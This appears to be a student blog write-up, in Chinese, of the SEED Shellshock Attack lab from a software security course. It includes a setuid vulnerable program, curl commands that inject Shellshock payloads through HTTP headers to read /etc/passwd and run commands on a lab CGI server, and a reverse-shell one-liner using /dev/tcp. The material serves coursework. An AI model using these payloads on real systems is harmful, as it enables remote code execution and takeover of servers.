软件安全课程实验2 Shellshock Attack lab
Shellshock_Attack_lab
个人博客地址
task 1
//vul.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main(){setuid(geteuid());system("/bin/ls -l");
}
首先准备有漏洞的程序vul.c
然后我们编译运行,并将其变成一个set-UID程序
因为Ubuntu20.04中/bin/sh指向/bin/dash,而这个程序没有shellshock漏洞,所以需要更改符号链接,采用命令
sudo ln -sf /bin/bash_shellshock /bin/sh
同时我们发现20.04中/bin文件夹下没有bash_shellshock文件,所以我们需要sudo su进入root后自己cp一下。
我们定义一个shell变量foo并输出它,这样当运行set-UID程序(vul)时,shell变量会变成子进程的环境变量。由于system函数的原因,Bash会被调用,它监测到环境变量foo中存放了一个环境声明,因此会解析该声明,由于逻辑解析的漏洞,它最终会执行放在末尾的/bin/sh指令,所以我之后会成功进入一个具有root权限的shell程序。
将链接改回去后再次执行vul,我们发现程序正常,没有被攻击。
task 2
task 2.A: Using brower
Apache服务器会从http请求头中获取信息,赋值给CGI程序的环境变量。
task 2.B Using curl
curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
-v 打印出http请求头
curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
-A 设置User-Agent
curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
-e 设置Referer字段
curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
-H 设置额外头字段
task 3
Task 3.A:
- Get the server to send back the content of the /etc/passwd file.
利用了-A修改User-Agent字段
执行命令
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
Task 3.B:
Get the server to tell you its process’ user ID. Y ou can use the /bin/id command to print out the ID information.
利用-e修改Referer字段来获取ID
执行命令
curl -e "() { echo hello; }; echo Content_type: text/plain; echo; /bin/id" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
Task 3.C:
Get the server to create a file inside the /tmp folder. Y ou need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the /tmp folder.
利用-H创建额外头字段
查看tmp
curl -H "test: () { echo hello; }; echo Content_type: text/plain; echo; /bin/ls /tmp " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
创建test
curl -H "test: () { echo hello; }; echo Content_type: text/plain; echo; /bin/touch /tmp/test " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
Task 3.D:
Get the server to delete the file that you just created inside the /tmp folder
删除test
curl -H "test: () { echo hello; }; echo Content_type: text/plain; echo; /bin/rm /tmp/test " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
Q1:不能打开/etc/shadow,因为只是www-data权限,权限不够,需要root权限
Q2:不能成功,不能成功将带空格的字符串设置为环境变量,所以不能攻击成功
test 4
nc -lvnp 9090
curl -A "() { echo hello;}; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
test 5
新建一个vul.cgi修改为bash后,重新dcbuild一个容器,后再次执行攻击,发现攻击无法成功。因为bash填补了shellshock漏洞,所以无法攻击成功。
软件安全课程实验2 Shellshock Attack lab相关推荐
- Shellshock Attack Lab
Shellshock Attack Lab 使用Ubuntu 16.04 20.04可以使用docker或者安装apache做后面的task Task1 Bash的版本:在本书提供的SEED Ubun ...
- 从入门到入土:[SEED-Lab]-幽灵攻击|Spectre Attack Lab|详细说明|实验步骤|实验截图
此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...
- 从入门到入土:[SEED-Lab]MD5碰撞试验|MD5collgen实验|linux|Ubuntu|MD5 Collision Attack Lab|详细讲解
此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...
- ARP Cache Poisoning Attack Lab(SEED实验)
ARP Cache Poisoning Attack Lab(SEED实验) ARP缓存中毒攻击可以诱使受害者主机将报文发向攻击者指定的路由方向,并由此完成诸如中间人攻击等攻击手段.本实验使用scap ...
- (SEED-LabCross-Site Scripting (XSS) Attack Lab跨站脚本攻击实验
(SEED-LabCross-Site Scripting (XSS) Attack Lab 跨站脚本攻击实验 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录 一 ...
- LAB 2 Shellshock Attack
Shellshock Attack 利用Shellshock攻击Set-UID程序 Web服务器调用CGI程序 Task 1: Experimenting with Bash Function Tas ...
- 漏洞挖掘——实验12 Cross-Site Scripting (XSS) Attack Lab
漏洞挖掘前言 题目 Lab Cross-Site Scripting (XSS) Attack Lab Pre 1.名词解释:double free,UAF (Use After Free),RELR ...
- Cross-Site Request Forgery (CSRF) Attack Lab网安实验
Cross-Site Request Forgery (CSRF) Attack Lab网安实验 3.1 Task 1: Observing HTTP Request. 使用F12打开网络元素,观察发 ...
- 脏牛(Dirty COW)漏洞攻击实验(SEED-Lab:Dirty-COW Attack Lab)
<脏牛(Dirty COW)漏洞攻击实验> 目录 <脏牛(Dirty COW)漏洞攻击实验> **一:实验目的** **二:实验步骤与结果** **漏洞原理:** **COW机 ...
最新文章
- leetCode 两个数组的交集 II 问题记录
- Matlab注释语句
- asp中关于从utf8页面到gb2312页面出现乱码得解决
- 带你看明白class二进制文件!
- django学习笔记之forloop
- OpenSSL--Window生成证书实战
- filesystemwatch java_C#方法的委托和java中的回调
- 做到我这样,你也能拿到京东Offer
- mysql(mariadb)重装
- DataSnap服务器从xe2升级到xe5报错的处理
- WinForm软件开机自动启动详细方法
- 算法笔记-差分和前缀和
- 软件产品需求规格说明书模板
- 全国行政区划代码(json对象)---包含键值对的城市代号和城市名称的json对象代码(不包括县级市)
- 正则表达式之多种格式的电话号码匹配
- linux coreclr编译,.NET跨平台:在Linux Ubuntu上编译coreclr/corefx/dnx(20150617)
- C++:C++11的牛逼特性
- 迅雷大乱,突现“两个迅雷”
- 疑难杂症、易混淆、易遗忘的知识点记录
- 【编程题 动态规划】最长公共子序列(详细注释 易懂)